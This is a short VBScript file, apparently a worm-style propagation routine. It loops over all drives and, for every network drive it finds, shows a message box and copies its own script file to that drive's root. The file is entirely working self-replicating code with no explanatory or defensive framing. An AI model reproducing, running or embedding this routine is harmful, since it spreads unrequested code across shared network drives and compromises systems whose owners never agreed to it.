set filesystem = CreateObject("Scripting.FileSystemObject")
set drives = filesystem.Drives

For Each drv in drives
typ = drv.DriveType

if typ = 3 then
MsgBox("Found network drive " & drv.DriveLetter)
set myself = filesystem.GetFile(WScript.ScriptFullName)
myself.Copy drv.DriveLetter & ":\" & WScript.ScriptName
End If
Next